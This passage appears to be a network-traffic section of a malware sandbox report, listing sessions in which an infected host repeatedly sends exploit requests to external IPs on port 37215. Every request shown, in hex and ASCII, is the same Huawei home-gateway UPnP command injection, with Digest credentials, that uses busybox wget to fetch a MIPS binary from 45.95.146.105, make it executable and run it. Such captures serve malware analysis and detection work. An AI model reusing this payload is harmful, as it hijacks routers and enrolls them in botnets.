22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:26.268598080 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.13	50598	154.38.240.217	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:52:32.467252970 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:36.608627081 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:42.748600960 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:54.784568071 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:20.124691963 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:09.276618958 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.13	48284	156.254.74.161	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:52:33.774769068 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:52:35.328628063 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 